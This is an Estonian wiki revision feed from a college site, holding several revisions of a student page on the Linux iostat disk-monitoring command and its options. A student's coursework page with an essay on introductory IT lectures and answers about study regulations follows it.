<td>-g group_name { device [...] | ALL }</td><td> Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.</td><br />
</tr><br />
<tr><br />
<td>-h</td> <td>Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). </td><br />
</tr><br />
<tr><br />
<td>-k</td> <td>Näitab andmeid kb/s.</td> <br />
</tr><br />
<tr><br />
<td>-m</td> <td>Näitab andmeid Mb/s.</td> <br />
</tr><br />
<tr><br />
<td>-N</td> <td>Näitab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks.</td> <br />
</tr><br />
<tr><br />
<td>-p [ { device [,...] | ALL } ]</td> <td>Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. </td><br />
</tr><br />
<tr><br />
<td>-T</td> <td>Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. </td><br />
</tr><br />
<tr><br />
<td>-t</td> <td>Näita iga raporti aega. </td><br />
</tr><br />
<tr><br />
<td>-V</td> <td>Prindi versiooni number ja tekst. </td><br />
</tr><br />
<tr><br />
<td>-x</td> <td>Näita laiendatud statistikat. </td><br />
</tr><br />
<tr><br />
<td>-z</td> <td>Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.</td><br />
</tr> <br />
</table><br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82366
Iostat
2014-11-08T17:20:44Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
<br />
'''Elina Prudnikova A21'''<br />
<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. <br />
<br />
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. <br />
<br />
'''<br />
== Süntaks ==<br />
'''<br />
<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
== Võtmed ==<br />
'''<br />
<br />
<br />
-c Näitab protsessori kasutuse raportit. <br />
-d Näitab seadmete kasutuse raportit.<br />
-g group_name { device [...] | ALL } Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks. <br />
-h Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). <br />
-k Näitab andmeid kb/s. <br />
-m Näitab andmeid Mb/s. <br />
-N Näitab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks. <br />
-p [ { device [,...] | ALL } ] Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. <br />
<br />
-T Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. <br />
-t Näita iga raporti aega. <br />
-V Prindi versiooni number ja tekst. <br />
-x Näita laiendatud statistikat. <br />
-z Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed. <br />
<br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82365
Iostat
2014-11-08T17:19:31Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
<br />
'''Elina Prudnikova A21'''<br />
<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. <br />
<br />
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. <br />
<br />
'''<br />
== Süntaks ==<br />
'''<br />
<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
== Võtmed ==<br />
'''<br />
<br />
<br />
-c Näitab protsessori kasutuse raportit. <p><br />
-d Näitab seadmete kasutuse raportit. <p><br />
-g group_name { device [...] | ALL } Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks. <p><br />
-h Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). <p><br />
-k Näitab andmeid kb/s. <p><br />
-m Näitab andmeid Mb/s. <p><br />
-N Näitab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks. <p><br />
-p [ { device [,...] | ALL } ] Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. <p><br />
<br />
-T Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. <p><br />
-t Näita iga raporti aega. <p><br />
-V Prindi versiooni number ja tekst. <p><br />
-x Näita laiendatud statistikat. <p><br />
-z Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed. <p><br />
<br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=81228
Iostat
2014-11-03T18:33:21Z
<p>Eprudnik: Created page with "Iostat Elina Prudnikova A21 Category:Operatsioonisüsteemide administreerimine ja sidumine"</p>
<hr />
<div>Iostat<br />
<br />
Elina Prudnikova A21<br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=User:Eprudnik&diff=66151
User:Eprudnik
2013-10-23T20:14:55Z
<p>Eprudnik: Created page with "= I020 Õpingukorraldus ja erialatutvustus arvestustöö = Autor: Elina Prudnikova <br> Rühm: 11 <br> Esitamise kuupäev: 23. oktoober 2013 <br> == Essee == Tegemist oli sis…"</p>
<hr />
<div>= I020 Õpingukorraldus ja erialatutvustus arvestustöö =<br />
<br />
Autor: Elina Prudnikova <br><br />
Rühm: 11 <br><br />
Esitamise kuupäev: 23. oktoober 2013 <br><br />
<br />
<br />
== Essee ==<br />
<br />
Tegemist oli sissejuhatava ainega esimese aasta IT üliõpilaste jaoks. Kuna olin IT valdkonnas eelnevalt kolm aastat ülikoolis õppinud, siis ei olnud kõik loengud minu jaoks võrdselt huvitavad, aga kõigis oli midagi kasulikku. Räägiti väga paljudel teemadel, küberkuritegevusest psühholoogiani välja. Aine eesmärk oli tutvustada IT eriala üldiselt. <br><br />
<br />
Esimeses loengus räägiti õppekorraldusest, IT Kolledžist üldiselt, õppekoormustest, stipendiumitest, tagasisidest jne. Lisaks natuke üldist juttu kõrgkoolis õppimise kohta. Kuna enne IT Kolledžisse tulekut olin põhjalikult kogu selle infoga tutvunud, siis oli esimene loeng minu jaoks juba teadaolevate asjade ülekordamine, mis pole sugugi halb, sest ikka võib olulist infot kahe silma vahele jääda. <br><br />
<br />
Teises loengus räägiti õppimisest ja motivatsioonist. Juhiti tähelepanu sellele, et tudengid kipuvad teoreetiliste ainete tähtsust alahindama, ja see viib alla nende õppeedukust nendes ainetes. Soovitati õppida koos teistega ja neid abistada. See oli minu arvates väga oluline nõuanne, millest oleks mulle eelnevate õpingute ajal palju kasu olnud. Nagu ka paljudes teistes ainetes ja loengutes, rõhutati suhtlemisoskuse ja eneseväljendusoskuse vajalikkust praeguses IT valdkonnas. Jällegi, kuna on tegemist esimese aasta ainega, siis räägiti värsketele tudengitele, et isegi kui aine ei tundu huvitav või vajalik, siis on kindlasti mingi põhjus miks see aine õppekavas sisaldub. Selleks põhjuseks võib olla näiteks õppimis- ja mõtlemisvõime arendamine. Lõpuks räägiti sisemisest motivatsioonist ja sellest, et oma alaga peab aktiivselt tegelema. Tegemist oli üsna huvitava, aga minu jaoks siiski päris üldise loenguga, kus jõuti puudutada väga paljusid teemasid. <br><br />
<br />
Kolmandas loengus räägiti innovatsioonist. Räägiti sellest, et tänapäeval ei tähenda innovatsioon lihtsalt mingit suurepärast ideed, vaid oluline on just see idee realiseerida. Kuna tänapäeval on palju nõudlust ja palju ideid, siis loeb just see, et saaks oma uuenduse võimalikult kiiresti ja õigel ajal valmis, et näha kas see saab edukaks või mitte. Põhimõtteliselt innustas see loeng iseseisvalt mingit projekti käsile võtta, ja mida sel juhul tasuks läbi mõelda. <br><br />
<br />
Neljandas loengus räägiti natuke üldiselt küberkuritegevusest. Põhiliselt sellest, et tänapäeval on küberkuritegevus globaalsel tasemel väga organiseeritud ja tulus, lausa teenus omaette. Seda saab müüa ja osta, kaubeldakse igasuguste konfidentsiaalsete andmetega. Räägiti ka erinevatest ründetüüpidest. Teema aktuaalsus näitab seda, et andmekaitse ja küberturve on tänapäeval väga olulised. Loeng ja selle teema olid huvitavad, aga kahjuks ma ei saanud palju uusi teadmisi, sest olin varem sellel teemal loenguid kuulanud. <br><br />
<br />
Viiendas loengus rääkis Andres Käver enda töökogemusest IT valdkonnas Eestis. Huvitav oli see loeng just seepärast, et loengupidaja oli ise tööandja. Ta rõhutas eriti aktiivsust, huvi enda ala vastu, motiveeritust õppida ja töötada. Taaskord mainiti ka suhtlemisoskuse olulisust. Kasulik soovitus oli võimalikult varakult saada praktilisi kogemusi, kasvõi iseseisvalt. Veel rõhutati seda, et kuna Eesti on väga väike, siis mida rohkem tutvusi IT valdkonnas, seda lihtsam tööd leida jne. Üldiselt väga huvitav loeng, meeldiv kuulata. Mulle isiklikult jäi aga mulje, et loengupidaja arvates on firma- või projektijuht see, kes kõige rohkem loomingulist tööd teeb, kõik teised on pigem "pastakakeerutajad". Isiklikult ei ole sellega nõus, sest ka tavaline programmeerija teeb väga rasket ja tihti väga loomingulist tööd. Loengupidaja rääkis muidugi enda seisukohast lähtudes. <br><br />
<br />
Kuuendas loengus rääkisid Skype'is töötavad administraatorid natuke Skype'ist ja enda administratiivsest tööst. Üldiselt tundus mõte olevat see, et väike süsteem võib muudkui kasvada ja muutuda väga keeruliseks, mis omakorda on väljakutse selle administreerimisele. See loeng meeldis mulle kõige vähem ja oli raskesti jälgitav. Jäi mulje nagu poleks üks loengupidajatest korralikult ette valmistunud. <br><br />
<br />
Seitsmendas loengus rääkisid firma Nortal kaks töötajat taaskord natuke motivatsioonist ja huvist enda ala vastu. Tutvustasid praktikavõimalusi, mida nende firma pakub ülõpilastele läbi Suveülikooli. Üldmulje loengust jäi selline, et Nortal vajab palju häid motiveerituid tulevasi tarkvaraarendajaid, ja on selle nimel valmis pakkuma intensiivset koolitust, head kollektiivi ja häid töötingimusi. Kumbki loengupidajatest ei olnud tarkvaraarendajad, võib-olla sellepärast ei rääkinud nad selle kohta natuke konkreetsemalt, näiteks mis keeltes programmeerijaid vaja on jne. Loeng oli huvitav ja taaskord rõhutas motivatsiooni ja aktiivsuse vajalikkust. <br><br />
<br />
Kaheksas loeng oli väga üldine. Selle mõte oli minu jaoks see, et eneseanalüüs on väga kasulik. Tasub otsused enda sees korralikult läbi mõelda ja aru saada, mis on enda jaoks oluline. Lõpuks aitab see elus leida endale õige tee. Minu arvates päris huvitav loeng, just selle psühholoogia teema pärast. Tavaliselt räägitakse motivatsioonist, aga mitte kuidas seda leida. Ma arvan, et eneseanalüüs võiks selle jaoks kasulik olla. Lisaks sellele aitab see kujundada enda suhtumist ja väärtusi, mis on enda jaoks olulised. Kui kõik see on korralikult läbi mõeldud, siis on endal tulevikus kergem. <br><br />
<br />
Kokkuvõtvalt, igas loengus oli midagi huvitavat. Räägiti paljudel erinevatel teemadel. Mitu korda rõhutati motivatsiooni, huvi õppimise vastu ja aktiivsuse tähtsust, mis on kõik IT erialal väga kasulikud. Ka suhtlemisoskus on väga oluline ja vajalik, kuna tihti on vaja teha grupitööd. Minu arvates on tegemist hea sissejuhatava ainega IT valdkonda, mis tutvustab erinevaid sellega seonduvaid aspekte. Kui peaksin midagi muutma, siis jätaksin ära Skype'i loengu. Selle asemel võiks näiteks olla loeng erinevatest IT aladest, kus võiks rääkida, milliseid karjäärivõimalusi on IT spetsialistidel ja millega üldiselt tegeletakse. Teised loengud olid minu arvates asjakohased. <br><br />
<br />
<br />
== Õpingukorralduse küsimused ja vastused ==<br />
<br />
'''Küsimus B''' <br><br />
<br />
Kukkusid arvestusel läbi. Kaua on võimalik arvestust järele teha? Kellega kokku leppida, et järelarvestust teha? Kuidas toimub järelarvestusele registreerimine? Mis on tähtajad? Palju maksab, kui oled riigi finantseeritaval (RF) õppekohalkohal? Palju maksab, kui oled tasulisel (OF) õppekohal kohal? <br><br />
<br />
'''Vastus:''' 5.4.4. Õigus kordusarvestusteks kehtib kuni ülejärgmise semestri punase joone päevani. Kordusarvestuste tähtajad määrab ainet õpetav õppejõud kooskõlas õppeosakonnas koostatud soovitusliku ajakavaga. 5.2.8. Eksamile/ arvestusele registreerumine on nõutav: 5.2.8.1. korduseksami ja -arvestuse puhul ÕISis. 5.2.7. Korduseksamid ja -arvestused on REV/tasulisel õppekohal õppijatele tasulised. Tasu suurus kehtestatakse rektori käskkirjaga ja arve kuvatakse ÕISis. Kordussoorituse tasu (REV ja OF tudeng) - 20 €. <br><br />
<br />
[http://www.itcollege.ee/tudengile/eeskirjad-ja-juhendid/oppekorraldus-eeskiri/ Õppekorralduse eeskiri]<br />
[http://www.itcollege.ee/tudengile/finantsinfo/pangarekvisiidid/ Õppeteenused]<br><br />
<br />
'''Küsimus 5''' <br><br />
<br />
Millised eeldused peavad olema täidetud vajaduspõhise õppetoetuse saamiseks ja millest sõltub toetuse suurus? Mida peab toetuse saamiseks tegema? (Vastake kokkuvõtlikult) Mis on minimaalne ainepunkide arv semestris õppetoetuse saamiseks? <br><br />
<br />
'''Vastus:''' 2.2. Üliõpilasel (alates sisseastumine 2013/14) on õigus saada vajaduspõhist õppetoetust, kui: ta on Eesti kodanik, ta õpib täiskoormusega ja on algavaks semestriks täitnud eelmistel semestritel õppekava sellises mahus, nagu see on ette nähtud või ta õpib täiskoormusega esimesel semestril. Keskmine sissetulek ei tohi ületada vajaduspõhise toetuse saamiseks kehtestatud ülempiiri. Toetuse saamiseks tuleb esitada ÕIS'is taotlus. Taotlused õppetoetuse saamiseks sügissemestril tuleb esitada 23. septembriks ja kevadsemestril 23. veebruariks. <br> <br />
<br />
[http://www.itcollege.ee/tudengile/finantsinfo/riiklike-oppetoestuste-taotlemise-ja-maksmise-kord-eesti-infotehnoloogia-kolledzis/ Õppetoetused] <br><br />
<br />
'''Ülesanne'''<br />
<br />
Koodi kaks viimast numbrit on 99.<br><br />
<br />
X = 28 EAP<br><br />
Y = 28 EAP<br><br />
<br />
Esimesel semestril arvet ei teki, sest semestri minimaalne ainepunktide arv on 27 EAP. Teise semestri lõpus arvet ka ei teki, sest õppur peab aastas koguma vähemalt 45 EAP. <br><br />
<br />
[http://www.itcollege.ee/tudengile/kkk/korgharidusreform-kkk/ KKK]<br />
<br />
[[Category:Erialatutvustus 2013]]</div>
Eprudnik